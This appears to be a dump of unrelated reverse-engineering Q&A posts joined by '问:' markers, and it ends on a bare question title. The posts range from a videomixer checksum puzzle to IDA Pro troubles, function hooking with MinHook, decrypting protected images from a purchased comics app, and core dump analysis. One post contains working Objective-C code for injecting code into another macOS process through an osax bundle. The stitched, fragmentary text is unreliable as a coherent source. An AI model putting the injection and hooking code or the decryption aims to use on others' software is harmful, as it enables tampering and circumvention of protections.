Title: Trouble finding the right Checksum algorithm

Body:
After reading a lot of posts here and their solutions, Punching lines in CRC calculators for several days now.  I can't seem to find on which Checksum this code is based.

Background

This is a data snippet of serial communication between a Control panel and Mainframe of a videomixer of Echolab. Echolab went broke 7 years ago and there hardware is collecting dust for years.   As a project to re-purpose the still good control panels to new hardware i need to interface a protocol converter to these panels.

I had already a different serie of their panels up and running. But these panels were from the last serie they have build. So, it seems they put a checksum on their commands.  And, I need to manipulate the data inside of those strings so I need to figure out which checksum they used.

FFFFFF030068000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000077CDDDE7A20

FFFFFF030069000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000078221EDC040

FFFFFF03006A0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000785774B0FC0

FFFFFF03006B000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000078B0C63AA00

FFFFFF03006C000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000078E5A2D1920

FFFFFF03006D0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000791974997E0

FFFFFF03006E000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000079A775A4720

FFFFFF03006F000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000079D3AEC7440

Here a sample of 8 messages that were sequential send.

FFFFFF is the header on ALL messages in the protocol followed by a message identifier [03]  then a black byte followed by an address byte (68 - 6F in this case).

I picked these messages as the payload is completely empty. So i could show in this example that the Checksum does jump a lot..

```<code>077CDDDE7A20   Addr 68
078221EDC040   Addr 69
0785774B0FC0   Addr 6A
078B0C63AA00   Addr 6B
078E5A2D1920   Addr 6C
0791974997E0   Addr 6D
079A775A4720   Addr 6E
079D3AEC7440   Addr 6F
</code>```

So with the change of only the Address number the checksum does change a lot.  This tells me it is not a simple Xor or Add/count and Mod Checksum.
So my guess is it is somewhere in the CRC domain??  But spending 2 days on online Checksum calculators like Scandacore and Defuse.. Trying a lot of different combinations with and without Header, Message ID, etc etc.. But i can't seem to find the right combination.. So i'm a bit lost on this one..

I ruled out that there is a timer inside the checksum.  As messages re-apear at a later stage and still have the same checksum when the same payload is there.

Here are some messages with data in them. (you can see Message ID 05 gets repeated twice every set of messages)

FFFFFF0507FF07FF40800000030000000010100001000000000000000000000000000000000000000000000000000000303A3130303A31300000000000000000313A3030313A30300000000000000000000000000000000000300032003301210039003A003B00380035009F00AB0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007F5F6C0

FFFFFF01546F70204D656E752020202020202020202020204C6F6164204672616D6573746F72652031362020202020202020202020202020202020202020202020202020202020202020202020202020202020202D2D2D2D2D2D2050414E454C202D2D2D2D2D2D20202D2D2D2D2D204B45594D454D202D2D2D2D2D2D202020736176652020202020726563616C6C20202020207361766520202020206F6E2F6F6666202064D63D40

FFFFFF0507FF07FF40800000030000000010100001000000000000000000000000000000000000000000000000000000303A3130303A31300000000000000000313A3030313A30300000000000000000000000000000000000300032003301210039003A003B00380035009F00AB0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007F5F6C0

FFFFFF07426C6B20504331205043322054696D6543616D3143616D33437574205353726346426631464266322020202020202020D7E2A640

UPDATE  EDIT 1

So after the discovery of the 4 / 6 byte checksum. I went down deeper to find out why this is.

Burning half trough the night looking into and cleaning up (make it more readable) the source capture (1000+ lines)  I could not get myself a satisfing anwser.

And while the mainframe that was used for this capture is a few weeks away, I needed to find myself a Mainframe.

Got a mainframe 2 hours drive from here this morning which was not exactly sure if it would work with my panel. As there could be a firmware difference between them.

And so there was!  But in a good way!    I don't have an empty message like we had before for easy comparison.. But the tailing makes a lot more clear about the build of the message. In particular the Checksum.

And so I also discovered that i was looking at the wrong piece of the checksum. (and missed out 2 bytes that should be included in the string for the Checksum.

First a few samples, below that some more description:

FFFFFF0301560000000000000000000000000000001F43333F3C0143330C6601431E0C060F430C0C3C01430C0C6001430C0C661F5F0C0C3C000000000000000000000000000000000000000000000E000000001B000000001B000000000E000000001B000000001B000000000E00000000000000000000000000000000006F686ABF4D60

FFFFFF03015700000000000000000000000000000000063E1F80000663318000060331800006031F8000060331800006633180003E3E318000000000000000000000000000000000000000000D7D4E1C3F0C0D4E1C630C0D5E36630C7D5E363F0C0D763E030C0D7663037D7D6663030000000000000000000000000000006F6874AEFEE0

FFFFFF03015800000000000000000000000000000007763161E00036316330003363303003736331E000336373000031461B3007714619E000000000000000000000000000000000000000000D7D4E1C3F0C0D4E1C630C0D5E36630C7D5E363F0C0D763E030C0D7663037D7D6663030000000000000000000000000000006F68FEEB80A0

FFFFFF03015900063E1F80000663318000060331800006031F8000060331800006633180003E3E318000000000001C39787EFC1C3B0D460C1E7B0D460C1E7B0C7E7C1B5B0D460C1B5B0D460C181979460C000000000000337B470000381B470000301B6F0000317B6F0000301B3B0000301B3B0000337B030000000000006F68FC406620

FFFFFF03015A00063E1F80000663318000060331800006031F8000060331800006633180003E3E318000000000001C39787EFC1C3B0D460C1E7B0D460C1E7B0C7E7C1B5B0D460C1B5B0D460C181979460C000000000000397D6380006C0D6380006C0D7780006C7D7780006C0D5D80006C0D5D8000397D418000000000006F688396C200

In these samples we have the following:

```<code>Header          FFFFFF
Message Type    03
Address double byte   0158
Data   120 bytes big
X number  6F68  Seems to be data
Checksum  FEEB80A0
</code>```

The X number is new!  This did change a bit with the other mainframe. But at this mainframe it stayed the same for all 346 messages that write an array to some LCD smart buttons.   So the Checksum is indeed 4 byte.

Yesterday I toughed those 2 X number bytes were from the Checksum. And in the older samples the 1st character was a 0..  So i assumed they put a 0 in front and back of the Checksum..

Now we know the checksum is only 4 bytes. The thing that stands out is that it always ends with a 0.  I think this is done on purpose.. As 4 bits Padding is a bit strange don't you think?

So after I post this message i will go re-do the CRC websites with this new knowledge.  But I toughed want to update this post first.


问:
Functions window empty for some ipa using ida pro
I suddenly noticed that my c file produced by ida pro for some of the ipa files is zero bytes. However, I'm able to decompile other ipa files, but I got some which is not being decompiled properly it seems and hence 0 bytes of c file produced. I would like to put up the ida logs here for reference:

```<code>BinExport 9 (@a0efa77, Mar  8 2016), (c)2004-2011 zynamics GmbH,
(c)2011-           2016 Google Inc.

  bytes   pages size description
--------- ----- ---- --------------------------------------------
16326656  1993 8192 allocating memory for b-tree...
16326656  1993 8192 allocating memory for virtual array...
262144      32 8192 allocating memory for name pointers...
-----------------------------------------------------------------
32915456            total memory allocated

Loading processor module /Applications/IDA Pro 6.95/idaq64.app/Contents/MacOS/procs/pc64.imc64 for metapc...OK

Autoanalysis subsystem has been initialized. Possible file format: Fat Mach-O file, 2. ARM64 (/Applications/IDA Pro
95/idaq64.app/Contents/MacOS/loaders/macho64.lmc64)

Possible file format: Fat Mach-O file, 1. ARMv7 (/Applications/IDA Pro 6.95/idaq64.app/Contents/MacOS/loaders/macho64.lmc64) Loading file
path to binary/binary' into database...

Detected file format: Fat Mach-O file, 2. ARM64 Unloading IDP module /Applications/IDA Pro
95/idaq64.app/Contents/MacOS/procs/pc64.imc64...

Loading processor module /Applications/IDA Pro 6.95/idaq64.app/Contents/MacOS/procs/arm64.imc64 for arm...OK

Type library 'macosx64' loaded. Applying types...

Types applied to 0 names.

  0. Creating a new segment  (0000000100088000-0000000100264CAA) ... ... OK

entries start past the end of the indirect symbol table (reserved1 field greater than the table size)

entries start past the end of the indirect symbol table (reserved1 field greater than the table size)

entries start past the end of the indirect symbol table (reserved1 field greater than the table size)

IDAPython Hex-Rays bindings initialized.

DWARF: Looking for Mach-O DWARF file at "path to binary/binary.dSYM/Contents/Resources/DWARF/binary"...

DWARF: No.

Marking typical code sequences... Flushing buffers, please wait...ok

File '/path to binary/binary' has been successfully loaded into the database.

Compiling file '/Applications/IDA Pro 6.95/idaq64.app/Contents/MacOS/idc/ida.idc'...

Executing function 'main'... Compiling file '/Applications/IDA Pro 6.95/idaq64.app/Contents/MacOS/idc/onload.idc'...

Executing function 'OnLoad'... IDA is analysing the input file... You may start to explore the input file right now.
----------------------------------------------------------------------------------------------------------
Python 2.7.10 (default, Feb  7 2017, 00:08:15)  [GCC 4.2.1 Compatible
Apple LLVM 8.0.0 (clang-800.0.34)]  IDAPython 64-bit v1.7.0 final
(serial 0) (c) The IDAPython Team <idapython@googlegroups.com>
----------------------------------------------------------------------------------------------------------
Propagating type information...
Function argument information has beenpropagated
The initial autoanalysis has been finished.
</code>```

Being new to ida, I could not understand the exact reason, but I may guess that it's not able to find the main entry point..?? But then why if so??

Any clue or redirection to an appropriate helpful link would be really great. Thank you!

Update1:

I thought I should attach the ida screenshot as well.

ContentLicense: CC BY-SA 3.0


问:
How to hook Windows syscall ntcreatefile an get path to saved file from notepad? Python 3
I need to automate some text editing and encryption. I've been doing some research and it seems uhooker can detect when a file is saved or when a program is closed, but I didn't see any examples to find the path to file for any saved files, like say from notepad. I did find techniques of directory watching, but there are some recourse overheads for going that route. Can anyone point me in the right direction, and provide documentation to any example that does this? Or let me know if I simply missed it in the uhooker documentation? Thanks.</p>


问:
reverse engineer BE126 boot-loader
I am trying to reverse engineer the firmware upgrading process of BE126 wifi repeater which has a MIPS CPU.

I couldn't find a firmware upgrade image in the manufacturer site.

I have the toolchain for the processor.

I dumped the flash of the device,the flash consists of 3 partitions:
1.the boot partition
2.compressed Linux kernel
3.rootfs

In the boot partition the has an LZMA compressed file that by running strings on the decompressed output appear to be u-boot and it has some strings concerning the upgrading process

Unfortunately the second stage u-boot is in binary format without the uImage header how can i disassemble it?

I know i need to find the loading address but i don't know how,most of the research i found on the internet for such things had the uImage header that has the loading address.

I tried to reverse the first stage boot loader,I know the loading address but not the size of the code section.

an output of binwalk on the boot partition:

```<code>   DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
6488          0x1958          LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 107408 bytes
70881         0x114E1         Zlib compressed data, default compression
83275         0x1454B         Zlib compressed data, default compression
95669         0x175B5         Zlib compressed data, default compression
136417        0x214E1         Zlib compressed data, default compression
</code>```

the Zlib data are configuration files.

binwalk on the extracted LZMA:

```<code>DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
86608         0x15250         CRC32 polynomial table, big endian
99996         0x1869C         HTML document header
100720        0x18970         HTML document footer
100772        0x189A4         HTML document header
101132        0x18B0C         HTML document footer
101184        0x18B40         HTML document header
101523        0x18C93         HTML document footer
101576        0x18CC8         HTML document header
101824        0x18DC0         HTML document footer
101876        0x18DF4         HTML document header
102226        0x18F52         HTML document footer
</code>```

Title: reverse engineer BE126 boot-loader


问:
IDA : trap call
i'd like to improve support for Atari ST in IDA.
To do this, I'd like to know if there is a way to handle trap #1 (gemDos), trap #2 (gem), trap #13 (bios) and trap #14 (xbios)  used this way

```<code>MOVE.W #3, (-SP)
TRAP #13 ; call Bconout (bios func 3)
</code>```

Is it possible to auto detect the function number put on the stak before a trap call ? and so add the right comment ?

I know some plugins do it on request only (ex: press CTRL+SHIFT+T to launch the detect), it'll be a valid option if automatic detection isn't possible/accurate.

thanks for any hint !

Title: IDA : trap call


问:
Why does IDA mark this as end of function?
I'm  analyzing a .so file that is a part of an android application.
I've stumbled upon this block of code:

```<code>LOAD:0001B63C sub_1B63C                               ; CODE XREF: sub_1B628+Cp
LOAD:0001B63C                 PUSH            {R0-R6,LR}
LOAD:0001B63E                 PUSH            {R0-R6,LR}
LOAD:0001B640                 MOVS            R6, #4
LOAD:0001B642                 MOVS            R1, #2
LOAD:0001B644                 MOV             R0, SP
LOAD:0001B646                 ADDS            R0, #0x10
LOAD:0001B648                 MOVS            R6, #2
LOAD:0001B64A                 ADDS            R0, #8
LOAD:0001B64C                 ADDS            R1, R0, #4
LOAD:0001B64E                 MOV             SP, R1
LOAD:0001B650                 ADRL            R6, (sub_1B66C+1)
LOAD:0001B654                 MOVS            R1, #2
LOAD:0001B656                 ADDS            R6, #0x18
LOAD:0001B658                 ADDS            R6, R6, R1
LOAD:0001B65A                 STR             R6, [R0,#0x24]
LOAD:0001B65C                 POP             {R6}
LOAD:0001B65E                 B               sub_1B66C
LOAD:0001B65E ; End of function sub_1B63C
</code>```

for reference, sub_1B63C:

```<code>LOAD:0001B66C sub_1B66C                               ; CODE XREF: sub_1B63C+22p
LOAD:0001B66C                                         ; DATA XREF: sub_1B63C+14o
LOAD:0001B66C                 MOVS            R0, R0
LOAD:0001B66E                 POP             {R0-R6,PC}
LOAD:0001B66E ; End of function sub_1B66C
</code>```

My question is, why would IDA mark this as the end of the function and how do I force it to acknowledge the instructions after that as part of the function?


问:
How do I read over an undefined function with IDAPython?
I have a pretty basic IDAPython script which finds indirect calls by using idc.FindText() and then extracts the arguments. It works great except that it does not find the indirect calls in undefined functions. The script below can't find any calls if the function is correctly disassembled but undefined. However, the normal IDA GUI text search is able to find the call that I'm looking for. Is there something I'm doing wrong?

The basic code works like so:

```<code>addr = MinEA()
while addr != idc.BADADDR:
   addr = idc.FindText(addr, idc.SEARCH_DOWN | idc.SEARCH_NEXT, 0, 0, "call e")
   doStuff(addr)
   addr = idc.NextHead(addr)
</code>```


问:
How to decrypt .jpg files of comics app in a C Program?
I'm trying to decrypt jpg images of comics I purchased in my comic reader app on android but neither I can view them (after copying from SD card to Windows desktop) nor can I convert them to pdf to read on my desktop.

I see a lot of data before start of jpg header FF D8, and am confused.

01 00 00 00 2D 82 00 00 28 00 00 00 80 47 88 47 80 48 08 48 00 48 08 48 00 48 88 47 00 48 88 47 00 48 88 47 00 48 08 48 EF 4F 00 00 00 00 00 00 41 00 00 00 00 00 00 00 41 00 00 00 00 00 00 00 C8 E3 E4 E4 03 3A AB F3 0F DE 05 14 33 C9 82 B8 32 72 8F 20 67 10 7D 08 45 09 99 C6 61 1B 30 C4 D4 15 6F F1 8C 65 05 C1 FF D8 FF E0

Here are examples of those encrypted images: https://www.mediafire.com/view/4tnc45xppeazy1c/09.jpg https://www.mediafire.com/file/u0z57slaar4k9ln/10.jpg

Is there a way of decrypting these in a C Program ?

I tried getting information in JPEGsnoop, it stops at Unknown marker [0xFF02] From the header information it is jpeg file, but parsing stops abruptly. It may be embedded jpeg's in custom format.

```<code>*** Marker: SOS (Start of Scan) (xFFDA) ***
  OFFSET: 0x00000152
Scan header length = 12
  Number of img components = 3
    Component[1]: selector=0x01, table=0(DC),0(AC)
    Component[2]: selector=0x02, table=1(DC),0(AC)
    Component[3]: selector=0x03, table=1(DC),0(AC)
  Spectral selection = 0 .. 0
  Successive approximation = 0x01

 NOTE: Scan parsing doesn't support this SOF mode.

*** Marker: ??? (Unknown) (xFF02) ***
OFFSET: 0x00004806
    WARNING: Unknown marker [0xFF02]
  Stopping decode
  Use [Img Search Fwd/Rev] to locate other valid embedded JPEGs
</code>```

While opening in photoshop loads only a part of jpeg image or shows error "Could not complete your request because of a problem parsing the JPEG data". While in android app first a thumbnail image loads, then panels are loaded as detailed images, but all information is contained in one single jpeg file.
Or if there is already a software that can fix extra data in these files.


问:
Calling original function that uses unconventional calling convention
I'm using MinHook to hook a static function with the following signature:

```<code>float __usercall RadarManager::Add_Blip@<xmm0>(int position@<ecx>, int shape@<edx>, int colorId, float intensity@<xmm3>, bool isBracket, bool isSmall)
</code>```

I have confirmed that the register/stack usage is correct using IDA. I also have confirmed that I got the right address using Visual Studio to debug my code. It first goes to the trampoline generated by MinHook, executes the first few opcodes and then jumps to the original function skipping the bytes that were overwritten.

I made my hook function completely empty, but the program still crashes on some other arbitrary address.

My hook function is as follows:

```<code>float __declspec(naked) radarAddBlip(const Vector3 &position, int shape, int colorId, float intensity, bool isBracket, bool isSmall)
{
    __asm
    {
        call originalRadarManager_Add_Blip;

        ret;
    }
}
</code>```

Prologue of function that is being hooked:

```<code>.text : 1181F4C0                 push    ebp
.text : 1181F4C1                 mov     ebp, esp
.text : 1181F4C3                 and     esp, 0FFFFFFF8h
.text : 1181F4C6                 sub     esp, 34h
.text : 1181F4C9                 movss   xmm2, dword ptr[ecx + 4]
.text : 1181F4CE                 movss   xmm1, dword ptr[ecx + 8]
.text : 1181F4D3                 movss   dword ptr[esp + 34h + var_20], xmm3
.text : 1181F4D9                 movss   xmm3, dword ptr[ecx]
.text : 1181F4DD                 movaps  xmm0, xmm2
.text : 1181F4E0                 mulss   xmm0, dword_11A6D7AC
.text : 1181F4E8                 mulss   xmm2, dword_11A6D7BC
.text : 1181F4F0                 movaps  xmm4, xmm3
.text : 1181F4F3                 mulss   xmm4, dword_11A6D7A8
.text : 1181F4FB                 mulss   xmm3, dword_11A6D7B8
.text : 1181F503                 addss   xmm4, xmm0
.text : 1181F507                 movaps  xmm0, xmm1
.text : 1181F50A                 mulss   xmm0, dword_11A6D7B0
.text : 1181F512                 mulss   xmm1, dword_11A6D7C0
.text : 1181F51A                 addss   xmm3, xmm2
.text : 1181F51E                 addss   xmm4, xmm0
.text : 1181F522                 push    ebx
.text : 1181F523                 push    esi
.text : 1181F524                 mov     esi, edx
.text : 1181F526                 addss   xmm3, xmm1
.text : 1181F52A                 addss   xmm4, dword_11A6D7B4
.text : 1181F532                 movss   xmm1, ds : dword_11A419F0
.text : 1181F53A                 push    edi
.text : 1181F53B                 mov[esp + 40h + var_14], esi
.text : 1181F53F                 addss   xmm3, dword_11A6D7C4
.text : 1181F547                 mulss   xmm4, xmm1
.text : 1181F54B                 mulss   xmm3, xmm1
.text : 1181F54F                 mulss   xmm1, ds : dword_11A3ED98
.text : 1181F557                 movaps  xmm0, xmm3
.text : 1181F55A                 mulss   xmm0, xmm3
.text : 1181F55E                 movaps  xmm2, xmm4
.text : 1181F561                 mulss   xmm2, xmm4
.text : 1181F565                 movss[esp + 40h + var_30], xmm4
.text : 1181F56B                 movss[esp + 40h + var_2C], xmm3
.text : 1181F571                 addss   xmm2, xmm0
.text : 1181F575                 movaps  xmm0, xmm1
.text : 1181F578                 mulss   xmm0, xmm1
.text : 1181F57C                 movss[esp + 40h + var_28], xmm1
.text : 1181F582                 addss   xmm2, xmm0
.text : 1181F586                 cvtps2pd xmm0, xmm2
.text : 1181F589                 movss[esp + 40h + var_24], xmm2
.text : 1181F58F                 call    _libm_sse2_sqrt_precise
.text : 1181F594                 movss   xmm1, ds : dword_11A41A30
.text : 1181F59C                 cvtsd2ss xmm0, xmm0
.text : 1181F5A0                 comiss  xmm0, ds : dword_11A41E10
.text : 1181F5A7                 jb      loc_1181F62E
.text : 1181F5AD                 cmp     esi, 4
.text : 1181F5B0                 jnz     short loc_1181F621
.text : 1181F5B2                 movss   xmm0, [esp + 34h + var_18]
.text : 1181F5B8                 addss   xmm0, ds : dword_11A41828
.text : 1181F5C0                 cvtps2pd xmm0, xmm0
.text : 1181F5C3                 call    _libm_sse2_sqrt_precise
</code>```

Epilogue of function being hooked:

```<code>.text : 1181F7B7                 cmp[ebp + isBracket], 0
.text : 1181F7BB                 jz      short loc_1181F7F8
.text : 1181F7BD                 mov     esi, dword_11A5F400
.text : 1181F7C3                 push    0
.text : 1181F7C5                 push    dword ptr[esi + 0C4h]
.text : 1181F7CB                 mov     ecx, esi
.text : 1181F7CD                 call    sub_11822750
.text : 1181F7D2                 lea     eax, [esp + 34h + var_4]
.text : 1181F7D6                 push    eax
.text : 1181F7D7                 mov     ecx, esi
.text : 1181F7D9                 call    sub_11822330
.text : 1181F7DE                 push    offset dword_11A6D8B0
.text : 1181F7E3                 mov     ecx, esi
.text : 1181F7E5                 call    sub_11822B00
.text : 1181F7EA                 or edi, 0FF00h
.text : 1181F7F0                 push    edi
.text : 1181F7F1                 mov     ecx, esi
.text : 1181F7F3                 call    sub_11822660
.text : 1181F7F8
.text : 1181F7F8 loc_1181F7F8 : ; CODE XREF : RadarManager__Add_Blip + 2FBj
.text : 1181F7F8                 movss   xmm0, ds : dword_11A41A30
.text : 1181F800                 pop     edi
.text : 1181F801                 pop     esi
.text : 1181F802                 pop     ebx
.text : 1181F803                 mov     esp, ebp
.text : 1181F805                 pop     ebp
.text : 1181F806                 retn
</code>```

Example of original function being called (Left in some extra opcodes):

```<code>.text : 11820270                 mov     eax, [ecx + 4]
.text : 11820273                 mov     esi, [eax + edi * 4]
.text : 11820276                 cmp     byte ptr[esi + 24h], 0
.text : 1182027A                 jz      short loc_118202C8
.text : 1182027C                 cmp     dword ptr[esi + 8], 0
.text : 11820280                 jnz     short loc_118202C8
.text : 11820282                 mov     eax, [esi + 4]
.text : 11820285                 movss   xmm3, dword ptr[esi + 34h]; a4
.text : 1182028A                 push    0; a5
.text : 1182028C                 add     eax, 4
.text : 1182028F                 push    0; a5
.text : 11820291                 push    eax; a3
.text : 11820292                 lea     ecx, [esi + 28h]; a1
.text : 11820295                 mov     edx, 4; a2
.text : 1182029A                 call    RadarManager__Add_Blip
.text : 1182029F                 movaps  xmm1, xmm0
.text : 118202A2                 xorps   xmm0, xmm0
.text : 118202A5                 add     esp, 0Ch
.text : 118202A8                 comiss  xmm0, xmm1
.text : 118202AB                 ja      short loc_118202BA
.text : 118202AD                 movss   xmm0, ds : dword_11A41A30
.text : 118202B5                 comiss  xmm1, xmm0
.text : 118202B8                 jbe     short loc_118202BD
.text : 118202BA
.text : 118202BA loc_118202BA : ; CODE XREF : RadarManager__Update + A8Bj
.text : 118202BA                 movaps  xmm1, xmm0
.text : 118202BD
.text : 118202BD loc_118202BD : ; CODE XREF : RadarManager__Update + A98j
.text : 118202BD                 mov     ecx, dword_11A679C4
.text : 118202C3                 movss   dword ptr[esi + 34h], xmm1
</code>```

Opcodes that are copied to the trampoline (before the jmp)

```<code>.text : 1181F4C0                 push    ebp
.text : 1181F4C1                 mov     ebp, esp
.text : 1181F4C3                 and     esp, 0FFFFFFF8h
</code>```

I've tried changing calling conventions, to making it __declspec(naked) and directly calling it and even manually editing the registry, but to no avail. I'm at the end of my rope and I can't even get it to work when it doesn't even do anything.

To summarize my question: How can I successfully call the original function through my hook function and doing something before calling the original? I'm not required to use MinHook, but so far it has been doing a good job.


问:
How to track events of any software
Softwares use libraries (sdl, wxwidgets, gtk etc.) that handle events.
as keystroke and mouse.
I have a software that when clicking on a button, an annoying noise is reproduced

how do I find the address of that button and delete the code.

for example somewhere in the software would be like this

```<code>if mouse_down (left)
{
playsound ("song")
}
</code>```

I want it to be

```<code>if mouse_down (left)
{
null
}
</code>```

but I need to track and find the event and eliminate its effect.
crawl I mean that the application is constantly handling events like the mouse's position, if the mouse keys are being pressed, and between that is if the button is clicked to reproduce the noise.
In addition, the software is compiled

exist a  software to track events regardless of which libraries were used to programming the software?

Title: How to track events of any software


问:
My core dump's backtrace stops to a signal handler, what can I do?
I obtained an ELF core dump that was provoked by fuzzing a proprietary server. As I do not have access anymore to the machine that hosted this server, and the server is part of a tightly coupled set of binaries that would be hard to emulate, I can't rely much on reproducing dynamically the crash in better conditions.

The core dump does not have much debugging information, mostly basic info about the registers' state at the moment of the crash, for each of the threads:

```<code>Displaying notes found at file offset 0x000034a0 with length 0x000045b8:
  Owner                 Data size       Description
  CORE                 0x00000150       NT_PRSTATUS (prstatus structure)
  CORE                 0x00000088       NT_PRPSINFO (prpsinfo structure)
  CORE                 0x00000130       NT_AUXV (auxiliary vector)
  CORE                 0x00000200       NT_FPREGSET (floating point registers)
  CORE                 0x00000150       NT_PRSTATUS (prstatus structure)
  CORE                 0x00000200       NT_FPREGSET (floating point registers)
  CORE                 0x00000150       NT_PRSTATUS (prstatus structure)
(...)
  CORE                 0x00000150       NT_PRSTATUS (prstatus structure)
  CORE                 0x00000200       NT_FPREGSET (floating point registers)
</code>```

When I load the core dump into gdb, I can see only the backtraces for each thread, most are not interesting as they only contain the mention of an address located in shared object memory I can't fetch:

```<code>(gdb) thread 3
[Switching to thread 3 (LWP 9593)]
#0  0x00007fa5eb282489 in ?? ()
(gdb) bt
#0  0x00007fa5eb282489 in ?? ()
#1  0x0000000000000000 in ?? ()
(gdb) x/i 0x00007fa225bce99d
=> 0x7fa5eb282489:  Cannot access memory at address 0x7fa5eb282489
</code>```

One of the threads, however, is slightly more interesting as it contains an address contained in the binary proper. However, this address turns out to be located in the middle of a signal handler, and no to be the latest called function, as the binary jumped again already in a library at the time of the crash.

The rest of the backtrace does not look more interesting - except for a few addresses that look like they were fetched out of initialized memory (0x3030303000000009 - 0x30 is ASCII "0", it the reason for this documented somewhere?).

```<code>(gdb) thread 1
[Switching to thread 1 (LWP 9593)]
#0  0x00007fa324ee2617 in ?? ()
(gdb) bt
#0  0x00007fa324ee2617 in ?? ()
#1  0x000000000073c0a9 in sigrecv ()
#2  0x3030303000000009 in ?? ()
#3  0x0000246830303030 in ?? ()
#4  0x0000000000000000 in ?? ()
(gdb) frame 1
#1  0x000000000073c0a9 in sigrecv ()
(gdb) info frame
Stack level 1, frame at 0x7fa1cf1d3828:
 rip = 0x73c0a9 in sigrecv; saved rip = 0x3030303000000009
 called by frame at 0x7fa1cf1d3830, caller of frame at 0x7fa1cf1d3820
 Arglist at 0x7fa1cf1d3818, args:
 Locals at 0x7fa1cf1d3818, Previous frame's sp is 0x7fa1cf1d3828
 Saved registers:
  rip at 0x7fa1cf1d3820
</code>```

When jumping at the outlined point of the signal handler using IDA, i call see it is part of a large function and located just after a call to kill(gettid(), SIGQUIT). The core dump's metadata indicates indeed a SIGQUIT, albeit I guess this SIGQUIT was triggered after the actual crash that would then be a SIGSEGV.

I thought about writing a script for scanning the core dump for the presence of siginfo_t or ucontext_t, but I think it could be painful if not impossible as these structures do not seem to have very distinctive marks.

So, what can I do to troubleshoot further the origin of the crash?


问:
POC for appleScript injection method
I am trying to make a POC of code injection using applescript injection technic which is used in GitHub project EasySIMBL.

The method also described here.
(It's basically a huge article, just search for AppleScript at bundle injection, and you’ll get there)

The steps I've done :

I made a bundle suffix osax file that creates a file at /tmp/test.txt. The bundle contains the following items:

1.1 Info.plist:

```<code><?xml version=“1.0” encoding=“UTF-8"?>
<!DOCTYPE plist PUBLIC “-//Apple//DTD PLIST 1.0//EN” “http://www.apple.com/DTDs/PropertyList-1.0.dtd“>
<plist version=“1.0”>
<dict>
    <key>CFBundleDevelopmentRegion</key>
    <string>English</string>
    <key>CFBundleExecutable</key>
    <string>OsaxLoaded</string>
    <key>CFBundleIdentifier</key>
    <string>com.yourcompany.OsaxLoaded</string>
    <key>CFBundleInfoDictionaryVersion</key>
    <string>6.0</string>
    <key>CFBundleName</key>
    <string>OsaxLoaded</string>
    <key>CFBundlePackageType</key>
    <string>osax</string>
    <key>CFBundleShortVersionString</key>
    <string>1.0</string>
    <key>CFBundleSignature</key>
    <string>ascr</string>
    <key>CFBundleVersion</key>
    <string>1</string>
    <key>OSAScriptingDefinition</key>
    <string>app.sdef</string>
    <key>OSAXHandlers</key>
    <dict>
        <key>Events</key>
        <dict>
            <key>OPNeopen</key>
            <dict>
                <key>Context</key>
                <string>Process</string>
                <key>Handler</key>
                <string>InjectEventHandler</string>
                <key>ThreadSafe</key>
                <true/>
            </dict>
        </dict>
    </dict>
</dict>
</plist>
</code>```

1.2 The code to be injected (osax bundle):

```<code>//  main.m
//  OsaxLoaded
//
//

#import <Foundation/Foundation.h>

__attribute__((visibility(“default”)))
OSErr InjectEventHandler(const AppleEvent *ev, AppleEvent *reply, long refcon)
{
    OSErr resultCode = noErr;
    [[NSFileManager defaultManager] createFileAtPath:@“/tmp/test.txt” contents:nil attributes:nil];
    return resultCode;
}
</code>```

Here's the structure of my osax bundle :

```<code>sh-3.2# ls /Library/ScriptingAdditions/OsaxLoaded.osax/Contents/
Info.plist    MacOS        _CodeSignature
</code>```

Now I put the osax bundle at /Library/ScriptingAdditions/

Then I wrote a templated Cocoa App (injection target) that does nothing (didn't add any additional code)

In addition I wrote a Mach-o that should make the app I wrote previously to load the script addition (osax bundle).
After that it sends the event that corresponds to the event in info.plist and should execute the handler I wrote in the osax bundle Mach-o.

The injector code:

```<code>//  main.m
//  OsaxInjector
//
//

#import <Foundation/Foundation.h>
#import <Carbon/Carbon.h>
#import <ScriptingBridge/ScriptingBridge.h>

int main(int argc, const char * argv[]) {
    @autoreleasepool {
        if (argc != 2)
        {
            printf(“USAGE: injector pid\n”);
            return 1;
        }
        TEST *test = [[TEST alloc] init];
        pid_t pid = atoi(argv[1]);
        SBApplication* sbApp = [SBApplication applicationWithProcessIdentifier:pid];
        [sbApp setSendMode:kAENoReply | kAENeverInteract | kAEDontRecord];
        [sbApp sendEvent:kASAppleScriptSuite id:kGetAEUT parameters:0];

        // Inject!
        [sbApp setSendMode:kAENoReply | kAENeverInteract | kAEDontRecord];
        id injectReply = [sbApp sendEvent:‘OPNe’ id:‘open’ parameters:0];
        if (injectReply != nil) {
            NSLog(@“unexpected injectReply: %@“, injectReply);
        }
        [[NSProcessInfo processInfo]disableSuddenTermination];
    }
    return 0;
}
</code>```

When tested using the pid provided by lsappinfo info “ToInjectApp”, it seems like the code wasn't injected and /tmp/test.txt wasn't created.

any idea what I am doing wrong?

OS Version: Sierra

Title: POC for appleScript injection method


问:
How can I fix an unpacked binary which calls out-of-bounds memory?
